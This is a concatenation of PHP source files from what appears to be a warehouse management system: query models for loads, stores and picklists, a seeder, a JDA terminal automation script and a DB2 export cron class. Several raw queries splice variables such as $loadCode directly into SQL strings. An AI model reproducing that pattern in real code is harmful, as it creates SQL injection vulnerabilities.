->WHERE('tagging_load' ,'=', '1')
->orderBy('load_code', 'DESC');
CommonHelper::filternator($query,$data,2,$getCount);
if( CommonHelper::hasValue($data['filter_load_code']) ) $query->where('load_code', 'LIKE', '%'.$data['filter_load_code'].'%');
if( CommonHelper::hasValue($data['filter_entry_date']) ) $query->where('load.ship_at', 'LIKE','%'.$data['filter_entry_date']. '%');
$result = $query->get();
if($getCount) {
$result = count($result);
}
return $result;
}
public static function getliststock($data = array(), $getCount = false)
{
$query = DB::table('load')
->select('load.*','firstname','lastname','load.ship_at')
->join('users','assigned_to_user_id','=','users.id','Left')
->WHERE('tagging_load' ,'=', '2')
->orderBy('load_code', 'DESC');
CommonHelper::filternator($query,$data,2,$getCount);
if( CommonHelper::hasValue($data['filter_load_code']) ) $query->where('load_code', 'LIKE', '%'.$data['filter_load_code'].'%');
if( CommonHelper::hasValue($data['filter_entry_date']) ) $query->where('load.ship_at', 'LIKE','%'.$data['filter_entry_date']. '%');
$result = $query->get();
if($getCount) {
$result = count($result);
}
return $result;
}
public static function getInfoLoad($data)
{
return Load::whereIn('load_code', $data)->get()->toArray();
}
public static function getOpenPicklist($move_doc_number) {
$sql = "SELECT count(WHMOVE) num_open
FROM WHSMVH
WHERE WHMVST = '1' AND WHMOVE IN ({$move_doc_number})";
//WHERE POMRCH.POSTAT = 3 AND POMRCH.POLOC = 7000
$db2 = new DB2Helper;
$result = $db2->get($sql);
$db2->close();
return $result[0]['NUM_OPEN'];
}
public static function getLoadnumberOpen() {
$query = DB::table('load')
->where('data_value', '=', '0')
->orderBy('load_code', 'ASC');
$result = $query->get();
return $result;
}
public static function shipLoad($data = array())
{
$result = Load::where('load_code', '=', $data['load_code'])
->update(array(
"is_shipped" => 1,
'updated_at' => date('Y-m-d H:i:s')
));
return $result;
}
public static function getLoadDetails($loadCode)
{
// get load date
$rs = DB::table('load')
->select(DB::raw("date_format(created_at,'%m/%d/%y') as load_date "))
->where('load_code', '=', $loadCode)
->first();
$data['load_date'] = $rs->load_date;
// get box codes and details based on pallet code
$rs = DB::table('pallet_details')
->select('box_code')
->join('load_details','load_details.pallet_code','=','pallet_details.pallet_code','RIGHT')
->where('load_code', '=', $loadCode)
->get();
foreach($rs as $val){
$box = DB::table('box_details')
// ->select(DB::raw('SUM(wms_picklist_details.moved_qty) as moved_qty'),
->select(DB::raw('SUM(wms_box_details.moved_qty) as moved_qty'),
'picklist_details.sku as upc','picklist_details.created_at as order_date','picklist_details.store_code','picklist_details.so_no','picklist_details.store_code',
'product_lists.description')
->join('picklist_details','picklist_details.id','=','box_details.picklist_detail_id','LEFT')
->join('product_lists','product_lists.upc','=','picklist_details.sku','LEFT')
->groupBy('picklist_details.sku')
->where('box_details.box_code','=', $val->box_code)
->get();
if(!empty($box)){$counter=count($box);
for($i=0;$i<$counter;$i++){
$data['StoreOrder'][$box[$i]->so_no]['store_code'] = $box[$i]->store_code;
$data['StoreOrder'][$box[$i]->so_no]['items'][$val->box_code] = $box;
$data['StoreOrder'][$box[$i]->so_no]['order_date'] = $box[$i]->order_date;
}
$data['StoreOrder'][$box[0]->so_no]['store_code'] = $box[0]->store_code;
$data['StoreOrder'][$box[0]->so_no]['items'][$val->box_code] = $box;
$data['StoreOrder'][$box[0]->so_no]['order_date'] = $box[0]->order_date;
}
}
// echo '<pre>'; dd($data);
foreach ($data['StoreOrder'] as $soNo => $value) {
$store = DB::table('stores')
->select('store_name')
->where('store_code','=', $value['store_code'])
->first();
$data['StoreOrder'][$soNo]['store_name'] = $store->store_name;
$mts_comments = DB::table('store_order')->select('comments')->where('so_no',$soNo)->first();
$data['StoreOrder'][$soNo]['comments'] = $mts_comments->comments;
// get so date created
// echo '<pre>'; dd($soNo);
}
// echo '<pre>'; dd($data);
// $data['StoreOrder'][]
// arrange array based on store order
/*foreach($data['StoreOrder'] as $soNo => &$val){
// get store name
$store = DB::table('stores')->select('store_name')->where('store_code',$val['store_code'])->first();
$val['store_name'] = $store->store_name;
// get so date created
$so = DB::table('store_order')->select(DB::raw("date_format(order_date,'%m/%d/%y') as order_date "))->where('so_no',$soNo)->first();
$val['order_date'] = $so->order_date;
}*/
return $data;
}
public static function getCommentsByLoadCode($loadCode)
{
// get comments from wms_store_order by load_code
// $rs = DB::table('store_order')
// ->select('comments')
// ->where('load_code', '=', $loadCode)
// ->first();
// $data['comments'] = $rs->comments;
$rs = DB::table('store_order')->select('comments')->where('load_code',$loadCode)->first();
//$data = 'shit!';
$data['comments'] = $rs->comments;
return $data;
}
/*public static function getPackingDetailsasdfasdf($loadCode)
{
// get load date
$rs = DB::table('load')
->select(DB::raw("date_format(created_at,'%m/%d/%y') as load_date "),DB::raw("date_format(updated_at,'%m/%d/%y') as ship_date"),'is_shipped')
->where('load_code', '=', $loadCode)
->first();
$data['load_date'] = $rs->load_date;
$data['ship_date'] = $rs->ship_date;
$data['is_shipped'] = $rs->is_shipped;
// get box codes and details based on pallet code
$rs = DB::table('pallet_details')
->select('box_code')
->join('load_details','load_details.pallet_code','=','pallet_details.pallet_code','RIGHT')
->where('load_code', '=', $loadCode)
->get();
foreach($rs as $val){
$box = DB::table('box_details')
->select('box_details.moved_qty',
'picklist_details.sku as upc','picklist_details.store_code','picklist_details.so_no','picklist_details.store_code',
'product_lists.description','product_lists.dept_code','product_lists.sub_dept','product_lists.class','product_lists.sub_class')
->join('picklist_details','picklist_details.id','=','box_details.picklist_detail_id','LEFT')
->join('product_lists','product_lists.upc','=','picklist_details.sku','LEFT')
->where('box_details.box_code','=', $val->box_code)
->get();
if(!empty($box)){
$counter=count($box);
for($i=0;$i<$counter;$i++){
$res= Department::getBrand($box[$i]->dept_code,0,0,0);
try{
$data['StoreCode'][$box[$i]->store_code]['StoreOrder'][$box[$i]->so_no]['brand'] = $res[0]['description'];
}
catch(Exception $e){
continue;
}
$data['StoreCode'][$box[$i]->store_code]['StoreOrder'][$box[$i]->so_no]['items'][$val->box_code] = $box;
if(!array_key_exists('InterTransfer', $data['StoreCode'][$box[$i]->store_code]))
$data['StoreCode'][$box[$i]->store_code]['InterTransfer']=array();
}
}
$rs = DB::table('inter_transfer')
->select('mts_number','no_of_boxes','box.store_code')
->join('box','box.box_code','=','inter_transfer.box_code')
->where('inter_transfer.box_code', '=', $val->box_code)
->get();
if(!empty($rs)){
$counter=count($rs);
for($i=0;$i<$counter;$i++){
$data['StoreCode'][$rs[$i]->store_code]['InterTransfer'][$rs[$i]->mts_number]['items'][$val->box_code] = $rs;
}
}
*/
/*public static function getPackingDetails($loadCode)
{
// get load date
$rs = DB::SELECT(DB::raw("SELECT wms_load_details.load_code, wms_picklist_details.sku, wms_picklist_details.move_doc_number, wms_box_details.moved_qty, wms_box_details.box_code, wms_product_lists.description
FROM wms_load_details
LEFT join wms_box on wms_load_details.box_number = wms_box.box_code
INNER join wms_box_details on wms_box.box_code = wms_box_details.box_code
LEFT join wms_picklist_details on wms_picklist_details.id = wms_box_details.picklist_detail_id
left join wms_product_lists on wms_picklist_details.sku = wms_product_lists.upc
where wms_load_details.load_code='$loadCode' ORDER BY wms_picklist_details.move_doc_number, wms_box_details.box_code ASC "));
return $rs;
}*/
public static function getPackingDetailsstock($loadCode)
{
// get load date
/* $rs = DB::SELECT(DB::raw("SELECT wms_box_details.box_code, wms_store_return_pick_details.move_doc_number, wms_store_return_pick_details.sku, wms_box_details.moved_qty
from `wms_load_details`
LEFT join wms_box on wms_load_details.box_number = wms_box.box_code
INNER JOIN wms_box_details on wms_box.box_code = wms_box_details.box_code
LEFT JOIN wms_store_return_pick_details on wms_box_details.subloc_transfer_id = wms_store_return_pick_details.id
where `wms_load_details`.`load_code` = '$loadCode' ORDER BY wms_load_details.move_doc_number, wms_box_details.box_code ASC
"));*/
$rescue = DB::SELECT(DB::RAW("SELECT wms_box_details.box_code, wms_store_return_pick_details.move_doc_number, wms_store_return_pick_details.sku, wms_box_details.moved_qty, description
from `wms_load_details`
LEFT join wms_box on wms_load_details.box_number = wms_box.box_code
left JOIN wms_box_details on wms_box.box_code = wms_box_details.box_code
LEFT JOIN wms_store_return_pick_details on wms_box_details.subloc_transfer_id = wms_store_return_pick_details.id
LEFT join wms_product_lists on wms_store_return_pick_details.sku = wms_product_lists.upc
where `wms_load_details`.`load_code` = '$loadCode' ORDER BY wms_store_return_pick_details.move_doc_number, wms_box_details.box_code ASC "));
return $rescue;
}
public static function getStoreLocation ($loadCode)
{
$query= DB::table('load_details')
->SELECT( 'store_return_pick_details.to_store_code','store_return_pick_details.from_store_code')
->JOIN('box','load_details.box_number','=','box.box_code','LEFT')
->join('box_details','box.box_code' ,'=','box_details.box_code','LEFT')
->join('store_return_pick_details','box_details.subloc_transfer_id','=','store_return_pick_details.id','left')
->WHERE('load_details.load_code', '=', $loadCode)
->first();
return $query;
}
/* public static function getStoreLocationwarehouse ($loadCode)
{
$query= DB::table('load_details')
->SELECT( 'picklist_details.store_code', 'load_details.*')
->JOIN('box','load_details.box_number','=','box.box_code','LEFT')
->join('picklist_details','box.move_doc_number','=','picklist_details.move_doc_number','left')
->WHERE('load_details.load_code', '=', $loadCode)
->first();
return $query;
}*/
public static function getLoadingDetails($loadCode)
{
// get load date
/*$query = DB::SELECT(DB::raw("SELECT GROUP_CONCAT(DISTINCT(wms_load_details.move_doc_number) SEPARATOR ',' ) as move_doc_number,wms_box_details.box_code, sum(wms_box_details.moved_qty) as total_qty
FROM wms_load_details
left join wms_box on wms_load_details.move_doc_number = wms_box.move_doc_number
left join wms_box_details on wms_box.box_code = wms_box_details.box_code
WHERE load_code='$loadCode'
GROUP BY wms_box_details.box_code;"));
return $query;
*/
$box= DB::SELECT(DB::raw("SELECT wms_load_details.load_code, GROUP_CONCAT(DISTINCT(wms_picklist_details.move_doc_number) SEPARATOR ',' ) as move_doc_number, wms_box_details.box_code, sum(wms_box_details.moved_qty) as total_qty, wms_box.store_code
FROM wms_load_details
left join wms_box on wms_load_details.box_number = wms_box.box_code
LEFT join wms_box_details on wms_box.box_code = wms_box_details.box_code
LEFT join wms_picklist_details on wms_picklist_details.id = wms_box_details.picklist_detail_id
WHERE wms_load_details.load_code='$loadCode'
GROUP by wms_box_details.box_code"));
return $box;
}
public static function getLoadingDetails123($loadCode)
{
$query = DB::table('load')
->select('box.store_code as destination')
->join('load_details','load.load_code','=','load_details.load_code','left')
->join('box','load_details.box_number','=','box.box_code','left')
->join('stores','box.store_code','=','stores.store_code','left')
->where('load.load_code','=',$loadCode)
->first();
return $query;
}
public static function getLoadingDetailsstock($loadCode)
{
// get load date
/*$query = DB::SELECT(DB::raw("SELECT GROUP_CONCAT(DISTINCT(wms_load_details.move_doc_number) SEPARATOR ',' ) as move_doc_number,wms_box_details.box_code, sum(wms_box_details.moved_qty) as total_qty
FROM wms_load_details
left join wms_box on wms_load_details.move_doc_number = wms_box.move_doc_number
left join wms_box_details on wms_box.box_code = wms_box_details.box_code
WHERE load_code='$loadCode'
GROUP BY wms_box_details.box_code;"));
return $query;
*/
$box= DB::SELECT(DB::raw("SELECT wms_load_details.load_code, GROUP_CONCAT(DISTINCT(wms_store_return_pick_details.move_doc_number) SEPARATOR ',' ) as move_doc_number, wms_box_details.box_code, sum(wms_box_details.moved_qty) as total_qty
FROM wms_load_details
LEFT join wms_box on wms_box.box_code = wms_load_details.box_number
INNER join wms_box_details on wms_box.box_code = wms_box_details.box_code
LEFT JOIN wms_store_return_pick_details on wms_box_details.subloc_transfer_id = wms_store_return_pick_details.id
WHERE wms_load_details.load_code='$loadCode'
GROUP by wms_box_details.box_code"));
return $box;
}
/*public static function getCountLoadList($data = array(), $getCount = false)
{
$query = DB::table('loads');
if( CommonHelper::hasValue($data['filter_load_code']) ) $query->where('load_code', 'LIKE', '%'. $data['filter_load_code'] . '%');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if($data['sort'] == 'load_code'){
$data['sort'] = 'filter_load_code';
}
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
if($getCount) {
$result = count($result);
}
return $result;
}*/
public static function getPOInfodiv($receiver_no = NULL) {
$query = DB::table('purchase_order_lists')
// ->join('users', 'purchase_order_lists.assigned_to_user_id', '=', 'users.id', 'LEFT')
->join('dataset', 'purchase_order_lists.po_status', '=', 'dataset.id', 'LEFT')
->join('vendors', 'purchase_order_lists.vendor_id', '=', 'vendors.id', 'LEFT')
->where('purchase_order_lists.receiver_no', '=', $receiver_no);
$result = $query->get(array(
'purchase_order_lists.*',
'vendors.vendor_name',
'dataset.data_display'
// 'users.firstname',
// 'users.lastname'
)
);
// get the multiple stock piler fullname
foreach ($result as $key => $lo) {
$assignedToUserId = explode(',', $lo->assigned_to_user_id);
$getUsers = User::getUsersFullname($assignedToUserId);
$result[$key]->fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $getUsers));
}
return $result[0];
}
}<file_sep><?php
return array(
"closed" => 2, //picklist has already been stored
"moved" => 1,
"unmoved" => 0
);<file_sep><?php
class LetdownSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run() {
Letdown::truncate();
LetdownDetails::truncate();
Letdown::create(array(
"move_doc_number" => 900026
));
Letdown::create(array(
"move_doc_number" =>900027
));
Letdown::create(array(
"move_doc_number" =>900028
));
Letdown::create(array(
"move_doc_number" =>900029
));
Letdown::create(array(
"move_doc_number" => 900030
));
LetdownDetails::create(array(
"sku" => 'NGM0022',
"store_code" => 'ST2',
"move_doc_number" => 900027,
"from_slot_code" => "PCK00001",
"quantity_to_letdown" => 100
));
LetdownDetails::create(array(
"sku" => 'NGM0023',
"store_code" => 'ST2',
"move_doc_number" => 900027,
"from_slot_code" => "PCK00001",
"quantity_to_letdown" => 100
));
LetdownDetails::create(array(
"sku" => 'NGM0022',
"store_code" => 'ST3',
"move_doc_number" => 900028,
"from_slot_code" => "PCK00001",
"quantity_to_letdown" => 20
));
LetdownDetails::create(array(
"sku" => 'NGM0023',
"store_code" => 'ST3',
"move_doc_number" => 900028,
"from_slot_code" => "PCK00001",
"quantity_to_letdown" => 20
));
LetdownDetails::create(array(
"sku" => 'NGM0022',
"store_code" => 'ST3',
"move_doc_number" => 900029,
"from_slot_code" => "PCK00001",
"quantity_to_letdown" => 20
));
LetdownDetails::create(array(
"sku" => 'NGM0023',
"store_code" => 'ST3',
"move_doc_number" => 900029,
"from_slot_code" => "PCK00001",
"quantity_to_letdown" => 20
));
LetdownDetails::create(array(
"sku" => 'NGM0024',
"store_code" => 'ST1',
"move_doc_number" => 900026,
"from_slot_code" => "PCK00001",
"quantity_to_letdown" => 230
));
LetdownDetails::create(array(
"sku" => 'NGM0023',
"store_code" => 'ST1',
"move_doc_number" => 900026,
"from_slot_code" => "PCK00001",
"quantity_to_letdown" => 100
));
LetdownDetails::create(array(
"sku" => 'NGM0022',
"store_code" => 'ST1',
"move_doc_number" => 900026,
"from_slot_code" => "PCK00001",
"quantity_to_letdown" => 100
));
LetdownDetails::create(array(
"sku" => 'NGM0024',
"store_code" => 'ST3',
"move_doc_number" => 900028,
"from_slot_code" => "PCK00001",
"quantity_to_letdown" => 100
));
LetdownDetails::create(array(
"sku" => 'NGM0022',
"store_code" => 'ST2',
"move_doc_number" => 900030,
"from_slot_code" => "PCK00002",
"quantity_to_letdown" => 100
));
LetdownDetails::create(array(
"sku" => 'NGM0022',
"store_code" => 'ST1',
"move_doc_number" => 900030,
"from_slot_code" => "PCK00002",
"quantity_to_letdown" => 100
));
LetdownDetails::create(array(
"sku" => 'NGM0022',
"store_code" => 'ST1',
"move_doc_number" => 900030,
"from_slot_code" => "PCK00001",
"quantity_to_letdown" => 90
));
}
}<file_sep><?php
/**
* Benchmark Helper
*
* @package SSI-eWMS
* @subpackage Common
* @category Helpers
* @author <NAME> | <EMAIL> | <EMAIL>
* @version Version 1.0
*
*/
class BenchmarkHelper {
protected $start_time;
protected $end_time;
protected $method;
/**
* Sets start time
*
*/
public function start($method)
{
$this->method = $method;
$this->start_time = microtime(true);
}
/**
* Sets end time
*
*/
public function end()
{
$this->end_time = microtime(true);
$this->logTime();
}
/**
* Logs time
*
*/
public function logTime()
{
$time = $this->getTime();
Log::info(date('m d Y h:i:s A'). '['.$this->method . ']- '. $time);
}
/**
* get time
*
*/
public function getTime()
{
$time = $this->end_time - $this->start_time;
return $time;
}
}<file_sep><?php
class Store extends Eloquent {
protected $table = 'stores';
public static function getStoreList($data = array()) {
$query = DB::table('stores')
->where('store_code', '>', 1000);
//if( CommonHelper::hasValue($data['filter_store_code']) ) $query->where('store_code', 'LIKE', '%'.$data['filter_store_code'].'%');
//if( CommonHelper::hasValue($data['filter_store_name']) ) $query->where('store_name', 'LIKE', '%'.$data['filter_store_name'].'%');
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
CommonHelper::filternator($query,$data,2);
//CommonHelper::pagenator($query,$data['page']);
$result = $query->get();
return $result;
}
public static function StorReturnlists($data = array()) {
$query = DB::table('stores');
//if( CommonHelper::hasValue($data['filter_store_code']) ) $query->where('store_code', 'LIKE', '%'.$data['filter_store_code'].'%');
//if( CommonHelper::hasValue($data['filter_store_name']) ) $query->where('store_name', 'LIKE', '%'.$data['filter_store_name'].'%');
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page'])) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
CommonHelper::filternator($query,$data,2);
//CommonHelper::pagenator($query,$data['page']);
$result = $query->get();
return $result;
}
public static function getStoreBranchesOptions()
{
$query = DB::SELECT(DB::RAW("SELECT * from wms_stores where store_code >= 100 and store_code <=1000"));
/* $query = DB::table('stores')->whereIn('store_code','>=','100', 'and' ,'store_code','<=','1000');*/
return $query;
}
public static function getCountstoreLists($data = array())
{
$query = DB::table('stores');
if( CommonHelper::hasValue($data['filter_store_code']) ) $query->where('store_code', 'LIKE', '%'.$data['filter_store_code'].'%');
if( CommonHelper::hasValue($data['filter_store_name']) ) $query->where('store_name', 'LIKE', '%'.$data['filter_store_name'].'%');
$result = $query->count();
return $result;
}
public static function getStoreName($storeCode)
{
$storeName = Store::where('store_code', '=', $storeCode)
->pluck('store_name');
return $storeName;
}
public static function getStoreList1(){
$storeList = Store::lists('store_name');
return $storeList;
}
public static function getStoreList2(){
$storeList = Store::lists('store_name');
return $storeList;
}
public static function getPickStoreName($storeCode)
{
$storeName = Store::where('store_code', '=', $storeCode)
->pluck('store_name');
return $storeName;
}
}
<file_sep><?php
require_once (__DIR__.'/../library/jdatelnet.php');
require_once(__DIR__.'/../config/config.php');
class WHPurchaseOrder
{
protected $jda;
protected $db2 = null;
protected $db2_host;
protected $db2_username;
protected $db2_password;
protected $db2_database;
public function __construct($debug_level = 1)
{
$config = jda_credentials();
$this->db2_host = $config['system'];
$this->db2_username = $config['username'];
$this->db2_password =$config['<PASSWORD>'];
$this->db2_database = $config['lib_name'];
$this->jda = new jdatelnet($this->db2_host);
$this->jda->debugLvl = $debug_level;
}
public function Login()
{
$jda = $this->jda;
$jda->login( $this->db2_username, $this->db2_password);
$result = $jda->screenCheck('Merchandise Management System');
if($result)
{
return true;
}
else
{
$result = $jda->screenCheck('is allocated to another job.');
if($result)
{
$jda->write(ENTER, true); $jda->show();
return true;
}
else
{
return false;
}
}
}
public function Initiate()
{
$jda = $this->jda;
}
public function DoPurchaseOrder($receiver_no,$transfer, $postat, $getNotInPOQty)
{
$jda = $this->jda;$jda = $this->jda;
$jda->write('08', true); $jda->show();
$jda->write('02', true); $jda->show();
$jda->write('02', true); $jda->show();
$jda->write($receiver_no, true); $jda->show();
$jda->write(ENTER, true); $jda->show();
$jda->write(TAB, true); $jda->show();
$jda->write(' '.date('mdy'), true); $jda->show();
$jda->write(TAB, true); $jda->show();
$jda->write('SYS', true); $jda->show();
$jda->write($transfer, true); $jda->show();
$jda->write(END, true); $jda->show();
$jda->write('1', true); $jda->show();
$jda->write(END, true); $jda->show();
$jda->write('1', true); $jda->show();
$jda->write(END, true); $jda->show();
$jda->write('1', true); $jda->show();
$jda->write(END, true); $jda->show();
$jda->write('1', true); $jda->show();
$jda->write(END, true); $jda->show();
$jda->write(TAB, true); $jda->show();
$jda->write(TAB, true); $jda->show();
$jda->write(TAB, true); $jda->show();
$jda->write('RZ000001', true); $jda->show();
$jda->write(TAB, true); $jda->show();
$jda->write('SYS', true); $jda->show();
$jda->write(F5, true); $jda->show();
$jda->write('1', true); $jda->show();
foreach ($getNotInPOQty as $NIP)
{
$jda->write(F10, true); $jda->show();
$jda->write($NIP['sku'], true); $jda->show();
$jda->write(TAB, true); $jda->show();
$jda->write($NIP['quantity_delivered'], true); $jda->show();
$jda->write(TAB, true); $jda->show();
$jda->write('RZ000001', true); $jda->show();
$jda->write(ENTER, true); $jda->show();
$jda->write(F9, true); $jda->show();
$jda->write(F1, true); $jda->show();
}
$jda->write(F7, true); $jda->show();
$jda->write(ENTER, true); $jda->show();
if($postat == '5')
{
$jda->write('Y', true); $jda->show();
}
else
{
$jda->write('N', true); $jda->show();
}
$jda->write(F7, true); $jda->show();
$jda->write(ENTER, true); $jda->show();
$jda->write(F1, true); $jda->show();
$jda->write(F7, true); $jda->show();
}
}<file_sep><?php
include_once("jda_modules.php");
$module = new jdaModules();
$module->letdownClosing();
<file_sep><?php
// include_once("ewms_connection.php");
chdir(dirname(__FILE__));
include_once('db2_connection.php');
class cronDB2 {
var $instance;
public function __construct()
{
$this->instance = new odbcConnection();
}
public function getOpenPicklist($move_doc_number) {
$sql = "SELECT count(WHMOVE) num_open
FROM WHSMVH
WHERE WHMVST = '1' AND WHMOVE IN ({$move_doc_number})";
//WHERE POMRCH.POSTAT = 3 AND POMRCH.POLOC = 7000
$query_result = $this->instance->runSQL($sql,true);
return $query_result[0]['NUM_OPEN'];
}
public function posDescription()
{ $sql = "SELECT INUMBR, POS18 FROM INVDSC";
$query_result = $this->instance->runSQL($sql,true);
$filename = 'pos_description';
// move_doc_number | date_completed | time | date_created
$header_column = array('sku', 'pos_description');
$this->_export($query_result, $filename, $header_column, __METHOD__, $custom_column);
}
public function inventory()
{
$sql = "SELECT INVUPC.IUPC, WHHAND, WHCOMM, WHSLOT
FROM WHSLSK
LEFT JOIN INVUPC ON WHSLSK.INUMBR = INVUPC.INUMBR";
$query_result = $this->instance->runSQL($sql,true);
$filename = 'inventory';
// sku |quantity_on_hand | quantity_committed | slot_id | created_at
$header_column = array('sku','quantity_on_hand', 'quantity_committed', 'slot_id');
// $this->instance->displayResult($query_result, $key);
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
public function department()
{
$sql = "SELECT IDEPT, ISDEPT, ICLAS, ISCLAS, DPTNAM
FROM INVDPT";
$query_result = $this->instance->runSQL($sql,true);
$filename = 'department';
//dept_code | sub_dept | class | sub_class | description
$header_column = array('dept_code','sub_dept', 'class', 'sub_class', 'description');
// $this->instance->displayResult($query_result, $key);
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
public function letdown()
{
//move type us 3 = letdown
// for checking after letdown was successfully close WHMVQM (qty_moved)
//$sql = "SELECT WHMOVE, WHMCDT, WHMATM, WHMVDT
$sql = "SELECT WHMOVE
FROM WHSMVH
WHERE WHMCDT = 0 AND WHMVTP = 3 AND WHMVDT = {$this->instance->getDate()}"; //
// FETCH FIRST 1 ROWS ONLY";
$query_result = $this->instance->runSQL($sql,true);
$filename = 'letdown_header';
// move_doc_number | date_completed | time | date_created
$header_column = array('move_doc_number');
$custom_column = array('type'=>'store');
$this->_export($query_result, $filename, $header_column, __METHOD__, $custom_column);
}
public function letdownDetail()
{
//SELECT WHSMVD.WHMOVE, INVUPC.IUPC, WHMFSL, WHMVQR, WHMTLC, WHMVSR, WHSMVH.WHMVDT, WHMVSQ, WVSCNM, WHMVSQ, WVSCNM
$sql = "SELECT WHSMVD.WHMOVE, INVUPC.IUPC, WHMFSL, WHMVQR, WHMTLC, WHSMVH.WHMVDT, WHMVSQ, WVSCNM, WHMVSQ, WVSCNM, WHSMVD.WHMTSL
FROM WHSMVH
RIGHT JOIN WHSMVD ON WHSMVD.WHMOVE = WHSMVH.WHMOVE AND WVFZON = 'CR' AND WVTZON='PZ'
INNER JOIN INVUPC ON WHSMVD.INUMBR = INVUPC.INUMBR
WHERE WHSMVH.WHMCDT = 0 AND WHSMVD.WHMVTP = 3 AND WHMVDT = {$this->instance->getDate()}"; //
//FETCH FIRST 2 ROWS ONLY
//RIGHT JOIN WHSMVD ON WHSMVD.WHMOVE = WHSMVH.WHMOVE AND WVFZON = 'PZ' AND WVTZON='SZ'
$query_result = $this->instance->runSQL($sql,true);
$filename = 'letdown_detail';
// move_doc_number | sku | from_slot_code | quantity_to_pick | store_id | store_order_number | date_created
// $header_column = array('move_doc_number','sku', 'from_slot_code', 'quantity_to_pick', 'store_code', 'so_no', 'date_created', 'sequence_no', 'group_name');
$header_column = array('move_doc_number','sku', 'from_slot_code', 'quantity_to_letdown', 'store_code', 'date_created', 'sequence_no', 'group_name', 'to_slot_code');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
public function picking()
{
//move type is 2 = picking
// $sql = "SELECT WHMOVE, WHMCDT, WHMATM, WHMVDT
$sql = "SELECT whsmvd.whmvsr, trfbdt
FROM whsmvh
left join whsmvd on whsmvh.whmove = whsmvd.whmove
left join trfhdr on whsmvd.whmove = trfhdr.trfbch
where whsmvh.whmvtp = 2 AND whsmvh.WHMVST = '1'";//
// FETCH FIRST 1 ROWS ONLY";
$query_result = $this->instance->runSQL($sql,true);
$filename = 'picklist_header';
// move_doc_number | date_completed | time | date_created
$header_column = array('move_doc_number','ship_date');
$custom_column = array('type'=>'store');
$this->_export($query_result, $filename, $header_column, __METHOD__, $custom_column);
}
public function pickingDetail()
{
$sql = "SELECT whsmvd.whmvsr, invupc.IUPC, Whmfsl, WHMVQR, trfhdr.TRFTLC , trfbdt
from whsmvh
left join whsmvd on whsmvh.whmove = whsmvd.whmove
LEFT join invupc on whsmvd.inumbr = invupc.inumbr
LEFT JOIN TRFHDR ON WHSMVD.WHMVSR = TRFHDR.TRFBCH
where whsmvh.whmvtp = 2 AND whsmvh.WHMVST = '1'";
//
// AND WHSMVH.WHMCDT = 0
//FETCH FIRST 2 ROWS ONLY
$query_result = $this->instance->runSQL($sql,true);
$filename = 'picklist_detail';
// move_doc_number | sku | from_slot_code | quantity_to_pick | store_id | store_order_number | date_created
$header_column = array( 'move_doc_number','sku','from_slot_code','quantity_to_pick', 'store_code', 'created_at');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
public function pickingv2()
{
//kunin muna yung wave cycle sa letdown na ang move status nya ay 2 (which is close na) and yung wave number nya
//move type is 2 = picking
$data = self::_getClosedLetdown();
/* $data = array(array('WHCYCL'=> 181, 'WHWAVE'=> 1),
array('WHCYCL'=> 182, 'WHWAVE'=> 1));*/
$cycle_arr = array();
foreach($data as $key => $value) {
$cycle_arr[] = "(".join(',', $value).")";
}
$values = implode(",", $cycle_arr);
//$sql = "SELECT WHMOVE, WHMCDT, WHMATM, WHMVDT, WHCYCL, WHWAVE
$sql = "SELECT WHMOVE, WHCYCL, WHWAVE
FROM WHSMVH
WHERE WHMVST = 2 AND (WHCYCL, WHWAVE) IN (VALUES {$values}) AND WHMVDT = {$this->instance->getDate()} ";//
$query_result = $this->instance->runSQL($sql,true);
$filename = 'picklist_header';
// move_doc_number | date_completed | time | date_created
$header_column = array('move_doc_number', 'cycle', 'wave');
$custom_column = array('type'=>'store');
$this->_export($query_result, $filename, $header_column, __METHOD__, $custom_column);
}
public function pickingDetailv2()
{
$data = self::_getClosedLetdown();
/*$data = array(array('WHCYCL'=> 181, 'WHWAVE'=> 1),
array('WHCYCL'=> 182, 'WHWAVE'=> 1));*/
$cycle_arr = array();
foreach($data as $key => $value) {
$cycle_arr[] = "(".join(',', $value).")";
}
$values = implode(",", $cycle_arr);
$sql = "SELECT WHSMVD.WHMOVE, INVUPC.IUPC, WHMFSL, WHMVQR, WHMTLC, WHMVSR, WHSMVH.WHMVDT, WHMVSQ, WVSCNM, WHMVSQ, WVSCNM, WHMVQM
FROM WHSMVH
RIGHT JOIN WHSMVD ON WHSMVD.WHMOVE = WHSMVH.WHMOVE AND WVFZON = 'PZ' AND WVTZON='SZ'
INNER JOIN INVUPC ON WHSMVD.INUMBR = INVUPC.INUMBR
WHERE WHSMVD.WHMVTP = 2
AND (WHSMVH.WHCYCL, WHSMVH.WHWAVE) IN (VALUES {$values}) AND WHMVDT = {$this->instance->getDate()} AND WHSMVH.WHMCDT = 0 ";//
//FETCH FIRST 2 ROWS ONLY
$query_result = $this->instance->runSQL($sql,true);
$filename = 'picklist_detail';
// move_doc_number | sku | from_slot_code | quantity_to_pick | store_id | store_order_number | date_created
$header_column = array('move_doc_number','sku', 'from_slot_code', 'quantity_to_pick', 'store_code', 'so_no', 'date_created', 'sequence_no', 'group_name', 'quantity_moved');
$this->_export($query_result, $filename, $header_column, __METHOD__);
}
public function _getClosedLetdown()
{
//kunin muna yung wave cycle sa letdown na ang move status nya ay 2 (which is close na) and yung wave number nya
//move type = 3(letdown), 2(picking)
// WHCYCL = wave cycle
// WHMVST = status
$sql = "SELECT WHCYCL, WHWAVE, WHMVST FROM WHSMVH WHERE WHMVST = 2 AND WHMVTP = 3";
$query_result = $this->instance->runSQL($sql,true);
return $query_result;
}
public function products()
{
$sql = "SELECT INVMST.INUMBR, INVUPC.IUPC, ISORT , IDESCR, ASNUM, IDEPT, ISDEPT, ICLAS, ISCLAS, ISET
FROM INVMST
